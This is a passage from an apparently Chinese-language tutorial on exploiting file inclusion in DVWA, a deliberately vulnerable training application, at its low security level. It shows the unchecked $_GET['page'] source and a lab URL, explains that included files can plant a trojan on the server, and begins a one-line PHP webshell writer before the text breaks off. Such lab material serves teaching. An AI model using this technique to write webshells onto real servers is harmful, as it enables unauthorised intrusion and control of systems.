有些网页具有包含其他页面到当前页面的功能,是通过URL设置参数添加进来的,比如下面这个URL
http://192.168.232.128/dvwa/vulnerabilities/fi/?page=include.php
将include.php包含进来
一:low级别
<?php
$file = $_GET['page']; //The page we wish to display
?>
因为源码中没有对页面进行检查,直接包含,所以可以随意引入其他页面
比如引入c.php
也可以在文件里添加恶意代码,执行之后会在目标服务器生成木马,以此来入侵目标系统。
下面这行代码能够生成一句话目标
<?fputs(fopen("shell1.php",